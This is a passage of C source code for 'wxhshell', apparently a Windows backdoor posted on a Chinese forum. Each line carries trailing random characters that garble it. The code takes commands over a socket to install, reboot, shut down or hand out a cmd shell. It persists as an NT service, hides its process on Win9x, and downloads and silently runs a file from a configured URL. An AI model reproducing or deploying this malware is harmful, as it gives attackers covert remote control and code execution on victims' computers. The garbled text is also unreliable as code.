  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~"8b\oLW  
  } [H!V  
  else { M Su_*&j9T  
R{/nlS5  
    switch(cmd[0]) { vU::dr  
  J 5~bs*a8  
  // 帮助 XvWUJ6M  
  case '?': { ,?728pfw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iCx}v[;Ol  
    break; `uY77co6  
  } (c_E*>c)  
  // 安装 ! fY'^Ya?  
  case 'i': { :9 .ik  
    if(Install()) Go8 m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :\>@yCD  
    else f$R]m2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XfharJ_b  
    break; aqtQGK57"%  
    } 1O8RGk4  
  // 卸载 ? 3Td>x  
  case 'r': { kLK}N>v}X  
    if(Uninstall()) VXQ~PF]z0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W2s6!_AN  
    else Ft'?43J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y'wQ(6ok  
    break; jCkYzQUPz  
    } aVEg%8  
  // 显示 wxhshell 所在路径 ;BsyN[bF  
  case 'p': { w!7Hl9BW  
    char svExeFile[MAX_PATH]; ZJ1 %  
    strcpy(svExeFile,"\n\r"); O1V s!  
      strcat(svExeFile,ExeFile); qq G24**9v  
        send(wsh,svExeFile,strlen(svExeFile),0); `*^ f =y  
    break; @-)jU!  
    } 4@- 'p  
  // 重启 bejvw?)S.  
  case 'b': { _46 y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *>I4X=  
    if(Boot(REBOOT)) v,^2'C$o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g m'8,ZL  
    else { /SO 4O|b  
    closesocket(wsh); )ERmSWq/u  
    ExitThread(0); M|xd9kA^  
    } <'f+ nC=2  
    break; UU~S{!*+L  
    } u[k0z!p_ c  
  // 关机 yL{X}:;}  
  case 'd': { (hr*.NS#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fu].%`*xJ  
    if(Boot(SHUTDOWN)) ):-\TVz~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 06X4mu{  
    else { R <}UT  
    closesocket(wsh); x%@n$4wk7  
    ExitThread(0); 3@7IY4>o  
    } <2^XKaS`  
    break; TL'^@Y7X5  
    } g$+ $@~  
  // 获取shell j6}/pe*;;T  
  case 's': { O!xul$9  
    CmdShell(wsh); N;gI %6  
    closesocket(wsh); }&!fT\4  
    ExitThread(0); -k(bM:  
    break; 7XrXx:*a5  
  } \\}tD@V"  
  // 退出 eb10=Lmj  
  case 'x': { e*K1";  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l1 Nr5PT  
    CloseIt(wsh); ;tg9$P<85  
    break; ?o$ hlX  
    } J%r$jpd'  
  // 离开 3M~*4  
  case 'q': { J?DJA2o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4TX~]tEyky  
    closesocket(wsh); c{4Y?SSx  
    WSACleanup(); 0q}k"(9  
    exit(1); GE?M. '!{{  
    break; 6)5Akyz4V  
        } A}"aH  
  } fRlO.!0(  
  } jxeZ,w o  
*e/8uFX  
  // 提示信息 |&wwH&<[z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ol#| .a2O  
} tg5G`P5PJ  
  } ~IQ3B $4H&  
{XR 3L'X  
  return; NW?.Ge.!P  
} -0P(lkylf  
<+3-(&  
// shell模块句柄 u]`ur#_  
int CmdShell(SOCKET sock) QTe>EJ12  
{ 3IB||oN$T  
STARTUPINFO si; ZF@T,i9  
ZeroMemory(&si,sizeof(si)); dkUh[yo"H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W[BwHNxyg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K-X@3&X}  
PROCESS_INFORMATION ProcessInfo; Q&\(m[:)  
char cmdline[]="cmd"; ku*H*o~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'j&+Pg)@  
  return 0; 9S<g2v  
} pA?kv]l(  
Yl\p*j"Fid  
// 自身启动模式 .0=VQU  
int StartFromService(void) mssCnr;  
{ u"hv _ml  
typedef struct SyL:=NZ  
{ 7gxC xfL$  
  DWORD ExitStatus; Cr&,*lUo  
  DWORD PebBaseAddress; =pa F6!AB  
  DWORD AffinityMask; R%EpF'[~[  
  DWORD BasePriority; <36z,[,kZ@  
  ULONG UniqueProcessId; yUY* l@v]  
  ULONG InheritedFromUniqueProcessId; w%'8bH!  
}   PROCESS_BASIC_INFORMATION; caH!(V}6  
Aq3.%,X2H  
PROCNTQSIP NtQueryInformationProcess; zb_nU7Eg  
T>P[0`*)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rP%B#%;S"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sR;^7(f!m  
Lkf}+aY  
  HANDLE             hProcess; _-6IB>  
  PROCESS_BASIC_INFORMATION pbi; 5yl[#>qt  
I_"Kh BM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8slOB>2#Y  
  if(NULL == hInst ) return 0; ,Y+J.8.H   
E!rgR5Bd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f?Am)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -5X*y4#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a]]>(Txc  
myq:~^L ;  
  if (!NtQueryInformationProcess) return 0; _]aA58,j  
AhA4IOG`.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oj$^87KX  
  if(!hProcess) return 0; A(2!.Y 2?*  
:*g3PhNE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xPp\OuwK  
?yNg5z  
  CloseHandle(hProcess); Z23*`yR  
VC T~"T2R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n,l{1 q  
if(hProcess==NULL) return 0; g#}a?kTM@  
KB@F^&L {  
HMODULE hMod; u&-Zh@;Q7  
char procName[255]; ;)7GdR^K  
unsigned long cbNeeded; ~tM+!  
UB8TrYra  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hW Va4  
t^')ST  
  CloseHandle(hProcess); !Zi_4 .(4  
Z]^Ooy[pb  
if(strstr(procName,"services")) return 1; // 以服务启动 <$+Cd=71\  
,GVD.whUl  
  return 0; // 注册表启动 'n$TJp|s  
} QA"mWw-Ds  
5JvrQGvL  
// 主模块 bf*VY&S- T  
int StartWxhshell(LPSTR lpCmdLine) @gM>Lxj  
{ S`t@L}  
  SOCKET wsl; z4B-fS]  
BOOL val=TRUE; vj#Y /B  
  int port=0; ]f}#&]<(T  
  struct sockaddr_in door; "j*{7FBqk  
r@)_>(  
  if(wscfg.ws_autoins) Install(); NW%u#MZ[h  
qGK -f4  
port=atoi(lpCmdLine); z%0'v`7  
&aLelJ~  
if(port<=0) port=wscfg.ws_port; 9snc *<  
+BaZl<ZP1s  
  WSADATA data; | f}1bJE+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H4Lvw8G  
g q|]t<'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <RaUs2Q3.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6aMG!_jC  
  door.sin_family = AF_INET; {1VMwANj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :d{-"RAG"  
  door.sin_port = htons(port); !M*$p Qi}  
XI/LVP,.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kaG@T,pH(  
closesocket(wsl); &CcUr#|  
return 1; yzH[~O7  
} 8x/]H(J  
"> ]{t[Ib  
  if(listen(wsl,2) == INVALID_SOCKET) { xC}9W6  
closesocket(wsl); l.3|0lopX)  
return 1; IMT]!j&Y,  
} |08'd5  
  Wxhshell(wsl); p~bx  
  WSACleanup(); At$[&%}  
I|eYeJ3  
return 0; m6 V L  
edZhI  
} eWw# T^  
;GF+0~5>  
// 以NT服务方式启动 o1^Rx5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $AyE6j_1gX  
{ b>]MZhLJe  
DWORD   status = 0; +5xVgIk#  
  DWORD   specificError = 0xfffffff; 6aq=h`Y  
[,?5}'we  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XtP5IN\S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *74VrAo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lD41+x 7  
  serviceStatus.dwWin32ExitCode     = 0; i+XHXpk  
  serviceStatus.dwServiceSpecificExitCode = 0; ?VRf5 Cr-  
  serviceStatus.dwCheckPoint       = 0; .d?2Kc)SV\  
  serviceStatus.dwWaitHint       = 0; @en*JxIM  
!QXPn}q^0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {I^@BW-  
  if (hServiceStatusHandle==0) return; ,B8u?{O  
s+ a} _a:  
status = GetLastError(); }Y`D^z~  
  if (status!=NO_ERROR) ?j^:jV  
{ [==x4N b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y k @/+PE  
    serviceStatus.dwCheckPoint       = 0; 6t!PHA  
    serviceStatus.dwWaitHint       = 0; <Y"h2#M"  
    serviceStatus.dwWin32ExitCode     = status; mR3-+dB/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5!V%0EQqw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q>5 K:5  
    return; NO'37d  
  } Q XLHQ_V  
zNRR('B?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HpGI\s  
  serviceStatus.dwCheckPoint       = 0; eJ3;Sd''  
  serviceStatus.dwWaitHint       = 0; #Et%s8{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a]4h5kJ';  
} 'fS&WVR?  
i8Xz'Sw07  
// 处理NT服务事件,比如:启动、停止 FhJtiw@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bg/a5$t  
{ |SSe n#PYp  
switch(fdwControl) !E.CpfaC  
{ t;/s^-}  
case SERVICE_CONTROL_STOP: b-Xc6f  
  serviceStatus.dwWin32ExitCode = 0; J *nWCL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1ww#]p`1  
  serviceStatus.dwCheckPoint   = 0; mi'3ibCG  
  serviceStatus.dwWaitHint     = 0; ~/m=Q<cV  
  { dW#T1mB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5h7M3s  
  } ,We'A R3X  
  return; -.t/c}a#  
case SERVICE_CONTROL_PAUSE: ]X\p\n'@j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'MK"*W8QRM  
  break; ?&_u$Nn  
case SERVICE_CONTROL_CONTINUE: sp8P[W1a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rF\L}& Sw  
  break; 4Gor*{  
case SERVICE_CONTROL_INTERROGATE: ~9ynlVb7)r  
  break; \6L,jSoBl  
}; X')t6DQ(I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }BN!Xa  
} 0 P2lq  
P+<4w  
// 标准应用程序主函数 7 <<`9,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g|=1U  
{ t`Lh(`  
7N4)T'B  
// 获取操作系统版本 w:HRzU>  
OsIsNt=GetOsVer(); \ Dccf_(Pb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \m%Z;xKG  
%n)H(QPW  
  // 从命令行安装 <s wfYT!N  
  if(strpbrk(lpCmdLine,"iI")) Install(); kK%@cIXS3  
CAbR+ y  
  // 下载执行文件 vp&N)t_  
if(wscfg.ws_downexe) { m bZn[D_zi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (U([T-H  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lc! t  
} cTa$t :K@  
6R#.AD\  
if(!OsIsNt) { PTP0 _|K  
// 如果时win9x,隐藏进程并且设置为注册表启动 ##5e:<c&[  
HideProc(); 2e^6Od!Y?  
StartWxhshell(lpCmdLine); 0@>  
} JsK_q9]$e  
else Ev ]oPCeA  
  if(StartFromService()) :3A^5}iz  
  // 以服务方式启动 AOv>O52F/Q  
  StartServiceCtrlDispatcher(DispatchTable); ]47!Zo,  
else )'i n}M  
  // 普通方式启动 pv"QgH  
  StartWxhshell(lpCmdLine); zXaA5rZO  
2ut)m\)/)  
return 0; r<OqI*7  
}
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只看该作者 1 发表于: 2006-10-10
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